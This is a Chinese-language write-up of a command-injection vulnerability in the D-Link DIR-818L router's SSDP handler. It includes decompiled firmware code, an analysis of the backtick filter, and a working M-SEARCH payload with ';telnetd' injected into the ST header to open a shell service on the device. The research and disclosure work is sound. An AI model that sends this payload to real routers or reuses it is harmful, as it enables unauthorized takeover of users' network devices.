某IOT设备漏洞分析

简介: 网安安全实例分享

申明:本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本文及作者无关,请谨记守法.

设备名称: DLINK DIR-818l

固件包: d-link DIR818L_FW105b01 A1

环境搭建: 使用firmAE

./run.sh -r mk818l ./firematr/ DIR818L_FW105b01

RCE漏洞

一、前置知识

SSDP协议(Simple Service Discovery Protocol)

SSDP就是简单服务发现协议(SimpleServiceDiscoveryProtocol)是一种应用层协议,它是构成通用即插即用(也就是UPnP,UPnP是各种各样的智能设备、无线设备和个人电脑等实现遍布全球的对等网络连接的结构)技术的核心协议之一。用于发现局域网里面的设备和服务,SSDP消息分为设备查询消息、设备通知消息两种,通常情况下,使用更多地是设备查询消息。一般在嵌入式设备中如路由器,摄像头中较为常见。   简单服务发现协议提供了在局部网络里面发现设备的机制。控制点(也就是接受服务的客户端)能够直接通过使用简单服务发现协议,根据自己的需要查询在自己所在的局部网络里面提供特定服务的设备。设备(也就是提供服务的服务器端)也能够直接通过使用简单服务发现协议,向自己所在的局部网络里面的控制点宣告它的存在。

请求头消息格式

M-SEARCH * HTTP/1.1

HOST: 239.255.255.250:1900

MAN: "ssdp:discover"

MX: 5

ST: ssdp:all

1 消息头为固定格式

2 HOST地址 ip:port

3 MAN后面的ssdp:discover为固定格式

4 MX为最长等待时间

5 ST 查询目标,它的值可以是: upnp:rootdevice 仅搜索网络中的根设备 uuid:device-UUID 查询UUID标识的设备 urn:schemas-upnp-org:device:device-Type:version 查询device-Type字段指定的设备类型,设备类型和版本由UPNP组织定义,其中,第三种一般可以用来自定义设备,如:ST: urn:schemas-upnp-org:device:Server:1

响应包

HTTP/1.1 200 OK

CACHE-CONTROL: max-age = seconds until advertisement expires

DATE: when reponse was generated

EXT:

LOCATION: URL for UPnP description for root device

SERVER: OS/Version UPNP/1.0 product/version

ST: search target

USN: advertisement UUID

和HTTP协议极为相似,为后续的知识做基础

二、漏洞分析

此次触发RCE的漏洞函数为 ssdpcgi_main()

提权固件后进行逆向分析,其反汇编代码如下:

ssdpcgi_main()

int__fastcallssdpcgi_main(inta1)
{
intresult; // $v0char*v2; // $s0char*v3; // $s3char*v4; // $v0char*v5; // $s2constchar*v6; // $s1boolv7; // dcchar*v8; // $a2constchar*v9; // $a0result=-1;
if ( a1==2 )
  {
v2=getenv("HTTP_ST");
v3=getenv("REMOTE_ADDR");
v5=getenv("REMOTE_PORT");
v4=getenv("SERVER_ID");
v6=v4;
if ( v2&&v3&&v5 )
    {
v7=v4==0;
result=-1;
if ( !v7 )
      {
v7=strchr(v2, '`') !=0;
result=-1;
if ( !v7 )
        {
v7=strchr(v3, '`') !=0;
result=-1;
if ( !v7 )
          {
v7=strchr(v5, '`') !=0;
result=-1;
if ( !v7 )
            {
v7=strchr(v6, '`') !=0;
result=-1;
if ( !v7 )
              {
if ( !strncmp(v2, "ssdp:all", 8u) )
                {
v8=v3;
v9="%s ssdpall %s:%s %s &";
LABEL_14:
lxmldbc_system(v9, "/etc/scripts/upnp/M-SEARCH.sh", v8, v5, v6);// // ERROR_FUNreturn0;
                }
if ( !strncmp(v2, "upnp:rootdevice", 15u) )
                {
v8=v3;
v9="%s rootdevice %s:%s %s &";
gotoLABEL_14;
                }
if ( !strncmp(v2, "uuid:", 5u) )
                {
lxmldbc_system("%s uuid %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
return0;
                }
v7=strncmp(v2, "urn:", 4u) !=0;
result=0;
if ( v7 )
returnresult;
if ( strstr(v2, ":device:") )   // 漏洞利用点                {
lxmldbc_system("%s devices %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
return0;
                }
if ( strstr(v2, ":service:") )
                {
lxmldbc_system("%s services %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
return0;
                }
result=0;
              }
            }
          }
        }
      }
    }
else    {
result=-1;
    }
  }
returnresult;
}

lxmldbc_system()

intlxmldbc_system(constchar*a1, ...)
{
charv2[1028]; // [sp+1Ch] [-404h] BYREFva_listva; // [sp+42Ch] [+Ch] BYREFva_start(va, a1);
vsnprintf(v2, 1024u, a1, va);
returnsystem(v2);
}

先分析lxmldbc_system()这个函数,因为这个函数才是触发代码执行的函数

这个函数中有俩个比较重要的函数一个是vsnprintf(),system()

system执行命令的函数 传入的参数为 v2回溯到最前面是发现HTTP_ST中的内容也就是SSDP协议中ST字段中的内容,那么是不是可以将ST:字段中的内容插入一些特殊命令,传递进这个函数中就可以达到执行命令的作用,先不考虑有什么过滤,用什么办法才能将参数完整传进来,以及怎么写payload

三、需要了解的几个重要函数

vsnprintf()

int vsnprintf (char * sbuf, size_t n, const char * format, va_list arg );

参数sbuf:用于缓存格式化字符串结果的字符数组

参数n:限定最多打印到缓冲区sbuf的字符的个数为n-1个,因为vsnprintf还要在结果的末尾追加\0。如果格式化字符串长度大于n-1,则多出的部分被丢弃。如果格式化字符串长度小于等于n-1,则可以格式化的字符串完整打印到缓冲区sbuf。一般这里传递的值就是sbuf缓冲区的长度。

参数format:格式化限定字符串

参数arg:可变长度参数列表

作用:使用vsnprintf()用于向一个字符串缓冲区打印格式化字符串,且可以限定打印的格式化字符串的最大长度。

说白了就是将sbuf数组中的字符串打印出来,那么如果这个sbuf数组中是一些危险的命令,是不是就可以将命令传入system函数中执行从而执行命令。

#include <stdio.h>#include <string.h>#include <stdarg.h>#define SBUF_SIZE 128charsbuf[SBUF_SIZE];
voidMyPrintF( constchar*format, ... )
{
va_listargs;
va_start (args, format);
vsnprintf (sbuf,SBUF_SIZE,format, args);
va_end (args);
printf("%s",sbuf);      
}
intmain()
{   
MyPrintF("my name is %s,my age is %d\n","bob",18);
return0;
}

system()函数

这个函数很简单执行命令,但是传统使用这个函数的时候通常一般会这么用

system("id")

这样会返回一个id值 是执行命令以后的id值

但是system()还有一种执行命令的方法就是在函数中可以加;号,如:system("id;id;id;id;id")

这样是可以直接执行5个id命令,也就是返回5个id值

也就是后面ST:为什么要这样构造payload

strchr()

在字符串中寻找字符C第一次出现的位置,并返回其位置(地址指针),若失败则返回NULL;

#include<string.h>#include<stdio.h>intmain()
{
char*str="Hello,I am sky2098,I liking programing!";
charcharacter='k' ;  //指定一个字符char*strtemp;
strtemp=strchr(str,character);
if(strtemp!=NULL)
    {
printf("%s ",strtemp);
    }
else    {
printf("can not find %c !",strtemp);
    }
return0;
}

strncmp(s1,s2,n)

用来比较s1和s2字符串的前n个字符。如果两个字符串相等的话,strncmp将返回0。如果s1是s2的一个子串的话,s1小于s2。

strstr(haystack,needle)

该函数返回在 haystack 中第一次出现 needle 字符串的位置,如果未找到则返回 null

#include <stdio.h>#include <string.h>intmain()
{
constcharhaystack[20] ="RUNOOB";
constcharneedle[10] ="NOOB";
char*ret;
ret=strstr(haystack, needle);
printf("子字符串是: %s\n", ret);
return(0);
}

四、代码审计

    然后开始分析 ssdpcgi_main()这个函数,原始if中的代码用xxxx()函数表示,比较好看一些,lxmldbc_system()也在xxxx()函数中。首先得让a1=2才可以执行if中的内容,具体a1是什么内容后面再继续分析。

第一个IF语句

if ( a1==2 )
  {
xxxx()
  }
returnresult;

第二个IF语句 判断v2,v3,v5 参数完不完整,不完整直接退出

if ( v2&&v3&&v5 ) {
v7=v4==0;
result=-1;
xxxx1()
}
else{
result=-1;
}

第三个IF语句

判断v7是不是为空值 也就是之前v4的服务号,判断有没有服务开启

if ( !v7 )
      {
v7=strchr(v2, '`') !=0;
result=-1;
if ( !v7 )
        {
v7=strchr(v3, '`') !=0;
result=-1;
if ( !v7 )
          {
v7=strchr(v5, '`') !=0;
result=-1;
if ( !v7 )
            {
v7=strchr(v6, '`') !=0;
result=-1;
if ( !v7 )
              {
if ( !strncmp(v2, "ssdp:all", 8u) )
                {
v8=v3;
v9="%s ssdpall %s:%s %s &";
LABEL_14:
lxmldbc_system(v9, "/etc/scripts/upnp/M-SEARCH.sh", v8, v5, v6);// // ERROR_FUNreturn0;
                }
if ( !strncmp(v2, "upnp:rootdevice", 15u) )
                {
v8=v3;
v9="%s rootdevice %s:%s %s &";
gotoLABEL_14;
                }
if ( !strncmp(v2, "uuid:", 5u) )
                {
lxmldbc_system("%s uuid %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
return0;
                }
v7=strncmp(v2, "urn:", 4u) !=0;
result=0;
if ( v7 )
returnresult;
if ( strstr(v2, ":device:") )   // 漏洞利用点                {
lxmldbc_system("%s devices %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
return0;
                }
if ( strstr(v2, ":service:") )
                {
lxmldbc_system("%s services %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
return0;
                }
result=0;
              }
            }
          }
        }
      }

第 四 五 六个IF语句

主要是针对v2, v3,v5,v6 进行判断看传入的参数中有无   ` 号 防止一些命令进行执行。

if ( !v7 )
        {
v7=strchr(v3, '`') !=0;
result=-1;
if ( !v7 )
          {
v7=strchr(v5, '`') !=0;
result=-1;
if ( !v7 )
            {
v7=strchr(v6, '`') !=0;
result=-1;

继续更进

通过继续分析得知如果需要执行命令得保证lxmldbc_system()函数中有V2变量

if ( !strncmp(v2, "ssdp:all", 8u) )
 {
v8=v3;
v9="%s ssdpall %s:%s %s &";
LABEL_14:
lxmldbc_system(v9, "/etc/scripts/upnp/M-SEARCH.sh", v8, v5, v6);// // ERROR_FUNreturn0;
}
if ( !strncmp(v2, "upnp:rootdevice", 15u) ){
v8=v3;
v9="%s rootdevice %s:%s %s &";
gotoLABEL_14;
                }
if ( !strncmp(v2, "uuid:", 5u) ) {
lxmldbc_system("%s uuid %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
return0;
 }
v7=strncmp(v2, "urn:", 4u) !=0;
result=0;
if ( v7 )
returnresult;
if ( strstr(v2, ":device:") )   // 漏洞利用点 {lxmldbc_system("%s devices %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
return0;
}
if ( strstr(v2, ":service:") ){
lxmldbc_system("%s services %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
return0;
         }

通过以上筛选得出最可能存在利用点的地方

if ( strstr(v2, ":device:") ){   // 漏洞利用点lxmldbc_system("%s devices %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
return0;
   }
if ( strstr(v2, ":service:") ) {
lxmldbc_system("%s services %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
return0;
 }

总结以上内容构造payload为

M-SEARCH * HTTP/1.1

HOST:ip:prot

ST:urn:device:1;telnetd  // telnetd 为执行的命令 可以换其他的比如touch 1.txt 生成1.txt文本

MX:2

MAN:"ssdp:discover"

通过测试发现一开始的a1的值及MX:字段的内容为2

图片.png

参考文章链接:

https://www.iotsec-zone.com/article?id=210#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA%EF%BC%9A

https://blog.csdn.net/murongyeye/article/details/119574158

相关文章
|
6月前
|
网络协议 物联网 5G
K3S 系列文章 -5G IoT 网关设备 POD 访问报错 DNS 'i/o timeout' 分析与解决
K3S 系列文章 -5G IoT 网关设备 POD 访问报错 DNS 'i/o timeout' 分析与解决
|
23天前
|
SQL 监控 物联网
ClickHouse在物联网(IoT)中的应用:实时监控与分析
【10月更文挑战第27天】随着物联网(IoT)技术的快速发展,越来越多的设备被连接到互联网上,产生了海量的数据。这些数据不仅包含了设备的状态信息,还包括用户的使用习惯、环境参数等。如何高效地处理和分析这些数据,成为了一个重要的挑战。作为一位数据工程师,我在一个物联网项目中深入使用了ClickHouse,以下是我的经验和思考。
57 0
|
1月前
|
人工智能 安全 物联网
|
3月前
|
存储 监控 安全
使用IoT设备优化家庭生活的技术探索
【8月更文挑战第4天】IoT设备以其智能化、便捷性和高效性,正逐步成为现代家庭不可或缺的一部分。从智能照明到智能安防,从智能恒温器到智能厨房,再到智能语音助手,这些设备不仅优化了我们的家庭生活,还提升了我们的生活质量和幸福感。随着技术的不断进步和应用场景的不断拓展,我们有理由相信,未来的智能家居将会更加智能、更加人性化,为我们的生活带来更多惊喜和便利。
|
2月前
|
机器学习/深度学习 人工智能 算法
物联网(IoT)就像是一个大型派对,无数的设备都在欢快地交流着信息
【9月更文挑战第4天】在这个万物互联的时代,物联网(IoT)犹如一场盛大的派对,各类设备欢聚一堂。然而,如何让这些设备互相理解并协同工作呢?这就需要机器学习与人工智能的助力。例如,智能空调通过学习你的使用习惯来调节温度,使你更加舒适;智能安防系统则能识别异常行为并及时报警,保障家庭安全。此外,智能农业、交通等领域也因机器学习和人工智能的应用变得更加高效。下面通过一个简单的温度预测代码示例,展示机器学习在物联网中的实际应用,让我们一起感受其强大潜力。
63 0
|
3月前
|
存储 SQL JSON
【Azure IoT Hub】从设备端如何向IOT发送海量数据,可以使用从设备到IoT连接的直接传输吗?如何把IoT Hub中的数据存储到Azure Storage中?
【Azure IoT Hub】从设备端如何向IOT发送海量数据,可以使用从设备到IoT连接的直接传输吗?如何把IoT Hub中的数据存储到Azure Storage中?
|
5月前
|
传感器 安全 物联网
物联网(IoT)设备的硬件选型与集成技术博文
【6月更文挑战第28天】物联网设备硬件选型与集成聚焦关键要素:功能匹配、性能稳定性、兼容扩展及成本效益。嵌入式系统、通信协议、数据处理和安全性技术确保集成效果,支撑高效、智能的IoT系统,驱动家居、城市与工业自动化变革。
|
6月前
|
安全 物联网 测试技术
构建未来:Android与IoT设备的无缝交互深入探索软件自动化测试的未来趋势
【5月更文挑战第30天】在物联网(IoT)技术快速发展的当下,Android系统因其开放性和广泛的用户基础成为了连接智能设备的首选平台。本文将探讨如何通过现代Android开发技术实现智能手机与IoT设备的高效、稳定连接,并分析其中的挑战和解决方案。我们将深入挖掘Android系统的底层通信机制,提出创新的交互模式,并通过实例演示如何在Android应用中集成IoT控制功能,旨在为开发者提供一套可行的指导方案,促进IoT生态系统的进一步发展。
|
6月前
|
安全 物联网 Android开发
构建未来:Android与IoT设备的无缝集成
【5月更文挑战第10天】 在数字化时代的浪潮中,智能设备与互联网的结合日益紧密。本文深入探讨了Android系统如何通过其开放性和灵活性成为连接物联网(IoT)设备的关键枢纽。我们将分析Android平台与IoT设备集成的技术途径,探索它们如何共同塑造智能家居、可穿戴技术以及工业自动化等领域的未来。文中不仅阐述了当前的发展状况,还展望了未来的发展趋势,特别是安全性和隐私保护方面的挑战及对策。
143 1
|
6月前
|
消息中间件 弹性计算 物联网
【阿里云弹性计算】阿里云ECS在IoT领域的应用:支撑大规模设备连接与数据处理
【5月更文挑战第26天】阿里云ECS是弹性计算服务,支持IoT设备的连接与数据处理。通过MQTT协议实现设备快速接入,配合消息队列处理异构实时数据。ECS可用于部署数据处理工具、应用服务,如智能家居控制系统,通过弹性伸缩适应负载变化。结合阿里云其他服务,ECS为IoT提供完整解决方案,助力企业数字化转型。
95 0
下一篇
无影云桌面